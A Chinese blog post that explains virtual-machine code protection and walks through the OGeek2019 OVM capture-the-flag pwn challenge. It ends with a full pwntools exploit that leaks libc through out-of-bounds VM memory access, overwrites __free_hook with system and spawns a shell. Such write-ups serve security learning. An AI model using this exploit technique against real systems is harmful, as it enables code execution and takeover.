VMPWN

1.虚拟机保护技术

所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

2.VStartVM

虚拟机的入口函数,对虚拟机环境进行初始化

3.VMDispather

解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环

4.opcode

程序可执行代码转换成的操作码

[OGeek2019 Final]OVM

题目除canary以外保护全开,简单分析一下程序

  write(1, "PC: ", 4uLL);
  _isoc99_scanf("%hd", &pc_0);
  getchar();
  write(1, "SP: ", 4uLL);
  _isoc99_scanf("%hd", &sp_0);
  getchar();
  reg[13] = sp_0;
  reg[15] = pc_0;

一开始会让我们输入PC与SP的值,并存入reg[13]与reg[15]中

PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。
SP 指针寄存器,永远指向当前的栈顶。

然后输入CODE SIZE,大小限制在0x10000以内。接下来输入code并存入memory中

  write(1, "CODE: ", 6uLL);
  running = 1;
  for ( i = 0; code_size > i; ++i )
  {
    _isoc99_scanf("%d", &memory[pc_0 + i]);
    if ( (memory[i + pc_0] & 0xFF000000) == 0xFF000000 )
      memory[i + pc_0] = 0xE0000000;
    getchar();
  }

接下来进入一个while循环,fetch函数令PC+1从memory中读入下一条指令

__int64 fetch()
{
  int pc; // eax
​
  pc = reg[15];
  reg[15] = pc + 1;
  return memory[pc];
}

在execute函数便是我们需要逆向的指令集内容,可以看出我们需要输入的opcode格式

操作码 | 目标寄存器 | 操作数2寄存器 | 操作数1寄存器

经过分析后得到以下结果

0x10: mov reg[dst], num
0x20: mov reg[dst], 0
0x30: reg[dst] = memory[reg[op1]]
0x40: memory[reg[op1]] = reg[dst]
0x50: push
0x60: pop
0x70: add
0x80: sub
0x90: and
0xa0: or
0xb0: xor
0xc0: <<
0xd0: >>
0xe0&reg[13]==0: exit and show

exp:

from pwn import *
​
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
​
def opcode(hand,dst,op2,op1):
    res = hand<<24
    res+= dst<<16
    res+= op2 <<8
    res+= op1
    return str(res)
​
# p = process('./VM')
p = remote('node4.buuoj.cn','27830')
libc = ELF('libc-2.23_64bit.so')
​
# gdb.attach(p,'b *$rebase(0xEBC)')
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ','23')
​
# copy stderr in reg[2]&reg[3]
sl(opcode(0x10,0,0,26))     #reg[0]=26
sl(opcode(0x10,1,0,0))      #reg[1]=0
sl(opcode(0x80,4,1,0))      #reg[4]=reg[1]-reg[0]=-26
sl(opcode(0x30,2,0,4))      #reg[2]=memory[-26]
sl(opcode(0x10,0,0,25))     #reg[0]=25
sl(opcode(0x80,4,1,0))      #reg[4]=reg[1]-reg[0]=-25
sl(opcode(0x30,3,0,4))      #reg[3]=memory[-25]
​
# reg[2]&reg[3]==_free_hook-0x8
sl(opcode(0x10,0,0,1))      #reg[0]=1
sl(opcode(0x10,1,0,12))     #reg[1]=12
sl(opcode(0xc0,4,0,1))      #reg[4]=1<<12=0x1000
sl(opcode(0x10,0,0,0xa))    #reg[0]=0xa
sl(opcode(0x10,1,0,4))      #reg[1]=4
sl(opcode(0xc0,5,0,1))      #reg[5]=0xa<<4=0xa0
sl(opcode(0x70,4,4,5))      #reg[4]=0x1000+0xa0
sl(opcode(0x70,2,2,4))      #reg[2]=reg[2]+reg[4]
​
# change comment to __free_hook-0x8
sl(opcode(0x10,0,0,8))      #reg[0]=8
sl(opcode(0x10,1,0,0))      #reg[1]=0
sl(opcode(0x80,4,1,0))      #reg[4]=-8
sl(opcode(0x40,2,0,4))      #memory[-8]=reg[2]
sl(opcode(0x10,0,0,7))      #reg[0]=7
sl(opcode(0x80,4,1,0))      #reg[4]=-7
sl(opcode(0x40,3,0,4))      #memory[-7]=reg[3]
sl(opcode(0xe0,0,0,0))
​
ru('R2: ')
low = int(rud('\n'),16)
ru('R3: ')
high = int(rud('\n'),16)
f_hook = (high<<32)+low+8
base = f_hook-libc.sym['__free_hook']
system = base+libc.sym['system']
sla('HOW DO YOU FEEL AT OVM?','/bin/sh\x00'+p64(system))
shell()

参考链接

VM Pwn学习 - 安全客,安全资讯平台

VM pwn入门_L.o.W的博客-CSDN博客

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Amalll

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值